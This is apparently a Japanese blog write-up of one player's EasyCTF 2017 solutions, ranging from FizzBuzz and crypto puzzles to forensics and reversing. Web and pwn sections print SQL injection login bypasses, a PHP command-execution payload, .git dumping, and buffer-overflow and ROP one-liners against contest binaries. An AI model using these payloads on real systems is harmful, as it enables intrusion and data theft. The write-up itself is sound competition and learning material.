Hirota Sora としてひとりで EasyCTF 2017 に参加しました。最終的に 45 問を解いて 5080 点を獲得し、順位は 28 位 (得点 1938 チーム中) でした。
以下、解いた問題の write-up です。
好きな言語で Hello, world! する問題でした。
print 'Hello, world!'
入力を全部足す問題でした。
n = 0
input()
for x in raw_input().split(' '):
n += int(x)
print n
FizzBuzz する問題でした。
n = input()
for x in range(1, n + 1):
if x % 15 == 0:
print 'FizzBuzz'
elif x % 3 == 0:
print 'Fizz'
elif x % 5 == 0:
print 'Buzz'
else:
print x
i
と ?
抜きで FizzBuzz する問題でした。print や for in が使えませんが、
という感じでなんとかしました。
def f(x, n):
try:
1 / (n - x)
e = [x] * 16
e[3] = e[6] = e[9] = e[12] = 'F' + chr(105) + 'zz'
e[5] = e[10] = 'Buzz'
e[0] = 'F' + chr(105) + 'zzBuzz'
c(str(e[x % 15]) + '\n')
f(x + 1, n)
except:
pass
a = globals()['__bu' + chr(105) + 'lt' + chr(105) + 'ns__']
b = getattr(a, '__' + chr(105) + 'mport__')('sys').stdout
c = getattr(b, 'wr' + chr(105) + 'te')
d = getattr(a, chr(105) + 'nput')
f(1, d() + 1)
まずは与えられたアセンブリを適当に実行できる形にします。
global main
extern printf
extern scanf
section .data
s: db "%d", 0
yes: db "yes", 0xa, 0
no: db "no", 0xa, 0
section .text
main:
push rbp
mov rbp, rsp
sub rsp, 16
mov rdi, s
lea rax, [rbp-4]
mov rsi, rax
call scanf
mov rdi, s
lea rax, [rbp-8]
mov rsi, rax
call scanf
mov rdi, [rbp-4]
mov rsi, [rbp-8]
call check
cmp rax, 1
je l1
mov rdi, no
call printf
jmp end
l1:
mov rdi, yes
call printf
end:
mov rax, 0
leave
ret
check:
push rbp
mov rbp, rsp
cmp edi, 0;
jl l2;
cmp esi, 0;
jl l2;
cmp edi, 1000;
jg l2;
cmp esi, 1000;
jg l2;
mov [rbp-36], edi
mov [rbp-40], esi
mov eax, [rbp-36]
xor eax, [rbp-40]
mov [rbp-4], eax
mov eax, [rbp-4]
add eax, 98
mov [rbp-8], eax
mov eax, [rbp-8]
not eax
mov edx, eax
mov eax, [rbp-40]
add eax, edx
mov [rbp-12], eax
mov eax, [rbp-12]
xor eax, [rbp-36]
mov [rbp-16], eax
mov eax, [rbp-40]
imul eax, [rbp-4]
cdq
idiv dword [rbp-8]
mov edx, eax
mov eax, [rbp-36]
lea ecx, [rdx+rax]
mov edx, [rbp-12]
mov eax, [rbp-16]
add eax, edx
xor eax, ecx
mov [rbp-20], eax
cmp [rbp-20], dword -814
jne l2;
mov rax, 1;
jmp l3;
l2:
mov rax, 0;
l3:
pop rbp
ret
nasm -f elf64 a.s && gcc a.o
してからブルートフォースするとフラグが出てきました。
125:547
a-z -> z-a という感じで置換するとフラグが出てきました。
i_dont_even_need_an_ascii_table
pdf の中にある RNFLPGS{LBHTBGVG}
を rot13 するとフラグが出てきました。
yougotit
p, q, c, e が与えられるのであとは計算するとフラグが出てきました。
wh3n_y0u_h4ve_p&q_RSA_iz_ez_391a306f
まず問題名からヴィジュネル暗号と推測しました。
easyctf
-> pehgpxf
になる鍵は lepinea
になり、また You should
-> Nwh whdjwh
になる鍵は pineapple
です。
pineapple
を鍵に復号するとフラグが出てきました。
better_thank_the_french_for_this_one
n を factordb に投げると素因数分解できました。
l0w_n_ec80
与えられた文字列を何度か base64 でデコードするとフラグが出てきました。
s = open('fb26f2cf8d244f2b1177fd9dc67e977b3d2028f3_encrypted_flag.txt').read()
while True:
s = s.decode('base64')
print s
what_1s_l0v3_bby_don7_hurt_m3
32 文字の文字列が何行も続いています。適当にググってみると、どうやらどれも 1 文字を md5 でハッシュ化した文字列のようです。
あらかじめテーブルを作っておいて 1 行ずつ元に戻しましょう。
import hashlib
d = {}
for c in range(256):
d[hashlib.md5(chr(c)).hexdigest()] = chr(c)
res = ''
s = open('0c4dc9d2255aebe12ffdb0b74b5b470708d54daf_hexstrings.txt').read()
for line in s.splitlines():
res += d[line]
print res
1_h0p3_y0u_d1dn7_d0_7h47_by_h4nd
fermat 法で n が素因数分解できました。
tw0_v3ry_merrry_tw1n_pr1m35!!_417c0d
平文を 2 文字ずつ暗号化しているようです。ブルートフォースしましょう。
p = 196732205348849427366498732223276547339
vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]
ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]
def decodeInt(i, primelist):
pl = sorted(primelist)[::-1]
out = ''
for j in pl:
if i%j == 0:
out += '1'
else:
out += '0'
return out
def bin2asc(b):
return hex(int(b,2)).replace('0x','').decode('hex')
primelist = [2,3,5,7,11,13,17,19,23,29,31,37,43,47,53,59]
res = ''
for c in ciphertext:
for x in range(0x10000):
binarized = bin(x).replace('0b','').zfill(16)[::-1] #lsb first
enc = 1
for bit in range(len(binarized)):
enc *= vlist[bit]**int(binarized[bit])
enc = enc%p
if enc == c:
res += hex(x)[2:].decode('hex')
print res
i_actu4lly_d0nt_know_th3_name_of_th15_crypt0sy5tem
realrand で /dev/urandom
から 4 バイト読み込んで seed = x % 80
、その後フラグを 1 文字ずつ seed = (seed * 0x127efb9 + 0x20491) & 0xff
と xor して暗号化しているようです。
s = open('e0412877956c51cf1c180128552fefded29b2413_flag.out', 'rb').read()
for seed in range(0x100):
res = ''
for c in s:
seed = (seed * 0x127efb9 + 0x20491) & 0xff
res += chr(seed ^ ord(c))
if 'easyctf' in res:
print repr(res)
r3ndom_numb3rs_m3an_n0thing_wh3n_y0u_can_brute_force!
https://hashkiller.co.uk/md5-decrypter.aspx に投げると、与えられたハッシュをすべて元に戻せました: OMG_it_took_like_LITerally_s0oO00_long_2_MAK3_md5_werrk_you_have_no_id34
。
OUR_3nCRYpti0n_is_N0T_br0k3n_Ur_brok3n_6c5a390d
Cookie に flag=easyctf%7Byum_c00kies%21%21%21%7D
とありました。
yum_c00kies!!!
11 文字以下の任意の PHP コードを実行できるサービスでした。
echo`ls` で Dockerfile flag_pnvgx1Qco7gx0ApLCUhH index.php
と表示されました。
echo`cat *` でフラグが表示されました。
http://edge1.web.easyctf.com/.git/ にアクセスしてみるといい感じでした。
kost/dvcs-ripper を使って rip-git.pl -v -u http://edge1.web.easyctf.com/.git/
、あとは git log -p -5 | grep easyctf
でフラグが出てきました。
w3_ev3n_u53_git
username に admin";--
でフラグが出てきました。
a_prepared_statement_a_day_keeps_the_d0ctor_away!
username に " and 0 union select 1, "leet1337", 3, 10000;--
でフラグが出てきました。
reUNI0Ns_are_alw4ys_s0_em0t1onal!
kost/dvcs-ripper を使って rip-git.pl -v -u http://edge1.web.easyctf.com/.git/
、あとは git log -p -5 | grep easyctf
でフラグが出てきました。
hiding_the_problem_doesn't_mean_it's_gone!
import requests
import subprocess
s = 'KjZqZwwKROwxELfzz6fN.png'
while True:
url = 'http://tunnel.web.easyctf.com/images/' + s
open(s, 'wb').write(requests.get(url).content)
s = subprocess.check_output(['zbarimg', s])[8:].strip().decode('ascii') + '.png'
print(s)
w0w_y0u_reached_th3_3nd_0f_my_tunnel!!!!!
IRC のチャンネルを見るだけでした。
irc_d0esn7_apist0rm_:)
サンプルの jkliilillikjk
を 4 回繰り返した jkliilillikjkjkliilillikjkjkliilillikjkjkliilillikjk
を投げると通りました。
strings でフラグが出てきました。
szFSH1QiJPjX7A
最初の 4132665052406848715 から ord('e')
を引くだけでした。
4132665052406848614
s = open('42552c587e13c09d2873cf20c4a2a558f60a3a46_useless.py', 'r').read()
print eval(eval(eval(s.decode('hex')[5:-1])[5:-1])[5:-1])
python_3x3c_exec_3xec_ex3c
import operator
jkx = 0 # REDACTED
pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])
jkx *= pork
pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))
b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))
print b == 799868144785084405429528290862317372789176956257703254607748530044738670150825254065375572637573491697777226014160686998954803702593572034214202087469815848703763202014807823859926014360286153700309263567295715887609371188139662145402195456
というよく分からないコードが与えられます。読みやすくすると以下のようになりました。
jkx = 0 # REDACTED
jkx *= jkx - 1
pp = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181]
b = 1
for x, y in zip(pp, str(jkx)):
b *= x ** int(y)
factordb.com に投げましょう。
import re
s = '2^9 3^9 5^0 7^2 11^9 13^8 17^2 19^9 23^1 29^6 31^6 37^6 41^2 43^0 47^0 53^2 59^3 61^9 67^4 71^7 73^8 79^1 83^9 89^5 97^7 101^1 103^7 107^2 109^2 113^1 127^7 131^5 137^6'
print ''.join(re.findall(r'\d+\^(\d+)', s))
990298291666200239478195717221756 が出力されます。z3 に適当に投げるとフラグが出ました。
31469005253839853
srand(time(0))
からの rand()
を当てろという問題でした。rand を差し替えましょう。
int rand(void) {
return 0;
}
これを gcc -shared -fPIC -o a.so a.c
して LD_PRELOAD=./a.so ./dda33cdf9ed65c36aa1695c1bdb5b575be19ad11_guess
でフラグが出てきました。
aaA_tOucH_0f_luccK_47ca4e
67000 個ぐらいのバイナリを解析する問題でした。バイナリはある程度パターンが決まっているので適当に自動化しましょう。
import struct
import zipfile
def uu(s):
return struct.unpack('<I', s)[0]
def us(s):
return struct.unpack('<i', s)[0]
res = ''
with zipfile.ZipFile('67k.zip', 'r') as zf:
for k, n in enumerate(zf.namelist()):
with zf.open(n) as f:
s = f.read()
if b"%d" in s[0x200:0x400] and b"%c" in s[0x200:0x400]:
base = 0x400e00
elif b"%d" in s[0x400:0x600] and b"%c" in s[0x400:0x600]:
base = 0x401c00
elif b"%d" in s[0x600:0x800] and b"%c" in s[0x600:0x800]:
base = 0x402a00
i = s.index(b'\x83\xc4\x08\xa1')+4
x = uu(s[i:i+4]) - base
eax = uu(s[x:x+4])
i += 5
ecx = uu(s[i:i+4])
i += 5
x = s[i:i+4]
op = s[i+us(x)+4:i+us(x)+5]
if op == b'1': # xor
t = eax ^ ecx
elif op == b'\x01': # add
t = eax + ecx
elif op == b')': # sub
t = eax - ecx
else:
raise Exception('err')
i = s.index(b'\x75\x1e\x8a\x0d') + 4
x = uu(s[i:i+4]) - base
cl = s[x]
res += chr((t >> cl) & 0xff)
print(res)
出てきた文字列を JavaScript として実行するとフラグが出ました。
double_you_tee_eff?so_mAny_b1ns
strings でフラグが出てきました。
pride_in_african_engin33ring
PNG が逆さまになっています。直しましょう。
s = open('6c0baad166c1256a29d469bae8a778ce5012ba77_elif', 'rb').read()
open('res.png', 'wb').write(bytes(reversed(s)))
r3v3r5ed_4ensics
diff を見るとフラグが出てきました。
res = ''
s = open('4b44b334ac0ff0a281597fb66c6f78bc8f5d537e_file1.txt', 'r').read()
t = open('d1de718973b070b1c12b78cef89d21ded505f9f0_file2.txt', 'r').read()
for c, d in zip(s, t):
if c != d:
res += c
print(''.join(reversed(res)))
th1s_m4y_b3_th3_d1ff3r3nc3_y0u_w3r3_l00k1ng_4
Thumbs.db があります。256_974f1259613588d2.jpg とかいう元のフォルダには存在しない画像ファイルがあったので QR コードとして読み込むとフラグが出てきました。
thumbs.db_c4n_b3_useful
$ binwalk d9040024afd9d38b73c72e30f722cf09e1093e3c_hekkerman.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, little-endian offset of first image directory: 8
212 0xD4 JPEG image data, JFIF standard 1.01
242 0xF2 TIFF image data, big-endian, offset of first image directory: 8
414 0x19E JPEG image data, JFIF standard 1.01
444 0x1BC TIFF image data, big-endian, offset of first image directory: 8
28428 0x6F0C Copyright string: "Copyright International Color Consortium, 2009"
0x19e からの JPEG がフラグでした。
d33p_zo0m_HeKker_2c1ae5
全部が反転された QR の画像…かと思いきや、反転されているのは四隅だけでした。
n0w_who-w0u1d_do_thAT_to_Th3ir_QR?
strings で
0,0,Default,,0,0,0,,e\N
1,0,Default,,0,0,0,,a\N
2,0,Default,,0,0,0,,s\N
3,0,Default,,0,0,0,,y\N
4,0,Default,,0,0,0,,c\N
5,0,Default,,0,0,0,,t\N
6,0,Default,,0,0,0,,f\N
7,0,Default,,0,0,0,,{\N
8,0,Default,,0,0,0,,s\N
9,0,Default,,0,0,0,,u\N
10,0,Default,,0,0,0,,b\N
11,0,Default,,0,0,0,,s\N
12,0,Default,,0,0,0,,_\N
13,0,Default,,0,0,0,,r\N
14,0,Default,,0,0,0,,_\N
15,0,Default,,0,0,0,,b\N
16,0,Default,,0,0,0,,3\N
17,0,Default,,0,0,0,,t\N
18,0,Default,,0,0,0,,t\N
19,0,Default,,0,0,0,,3\N
20,0,Default,,0,0,0,,r\N
21,0,Default,,0,0,0,,_\N
22,0,Default,,0,0,0,,t\N
23,0,Default,,0,0,0,,h\N
24,0,Default,,0,0,0,,@\N
25,0,Default,,0,0,0,,n\N
26,0,Default,,0,0,0,,_\N
27,0,Default,,0,0,0,,d\N
28,0,Default,,0,0,0,,u\N
29,0,Default,,0,0,0,,b\N
30,0,Default,,0,0,0,,5\N
31,0,Default,,0,0,0,,}\N
のような文字列が出てきました。
subs_r_b3tt3r_th@n_dub5
FTK Imager に投げると、NONAME [FAT12] の [root]/234-823412857.jpg にフラグがありました。
d3let3d_f1l3z_r_k00l
$ binwalk 5c75281894bbb9c5a356eabd8646e132a063c054_finn.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
44350 0xAD3E Zip archive data, at least v1.0 to extract, name: kylo/
44413 0xAD7D Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489072, uncompressed size: 3488525, name: kylo/kylo1.png
3533573 0x35EB05 Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489495, uncompressed size: 3488948, name: kylo/kylo2.png
7023399 0x6B2B27 End of Zip archive, footer length: 22
0xad3e からの zip は暗号化されていますが、パスワードは fcrackzip -c 1 -l 4 a.zip
で 2187
とわかりました。
出てきた 2 つの画像を stegsolve.jar で sub、QR コードとして読むと \x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72\x3c\x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f
と出てきました。
あとは適当にエスパーするとフラグが出てきました。
from PIL import Image
im1 = Image.open('kylo1.png')
im2 = Image.open('kylo2.png')
pix1 = im1.load()
pix2 = im2.load()
s = "\x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72\x3c\x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f"
a = []
for x in range(26):
r1, g1, b1 = pix1[x + 144, 533]
r2, g2, b2 = pix2[x + 144, 533]
a.append(b2 - b1)
print(''.join(chr(ord(c) ^ a[i]) for i, c in enumerate(s)))
st4r_w4rs_1s_b35t_:D
賭け事をするバイナリでした。srand()
が呼ばれていないので勝ち負けは固定されています。
大体こんな感じです。
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int i;
for (i = 0; i < 10; i++) {
printf("%d\n", rand() % 5 == 0);
}
return 0;
}
あとは勝てるときには最大値を賭け、負けるときには最小値を賭けるだけです。
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int x = 0;
while (x < 21) {
if (rand() % 5 == 0) {
puts("99999999");
x++;
} else {
puts("1");
}
}
return 0;
}
m4by3_w3_c0u1d_h4v3_d0n3_th47_b3t7er
スタック BOF。
$ cd /problems/doubly_dangerous
$ perl -e 'print "A" x 64 . "\x00\x80\x34\x41"' | ./doubly_dangerous
bofs_and_floats_are_d0uble_tr0uble!
スタック BOF。
$ objdump -d /problems/simple-rop/simple-rop | grep print_flag
0804851a <print_flag>:
$ cd /problems/simple-rop
$ perl -e 'print "A" x 76 . "\x1a\x85\x04\x08"' | simple-rop
r0p_7o_v1ct0ry
なんか適当にやっていると EIP が取れてしまいました。
AAAAAAAA
1
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1
2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
3
で EIP が 0x42424242 になります。あとは echo -en "AAAAAAAA\n1\n1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n1\n2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n1\n1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0\x87\x04\x08\n3\n" | ./heaps_of_knowledge
でフラグが出てきました。
4r3nT_u_hav1ng_h34pz_0f_Fun?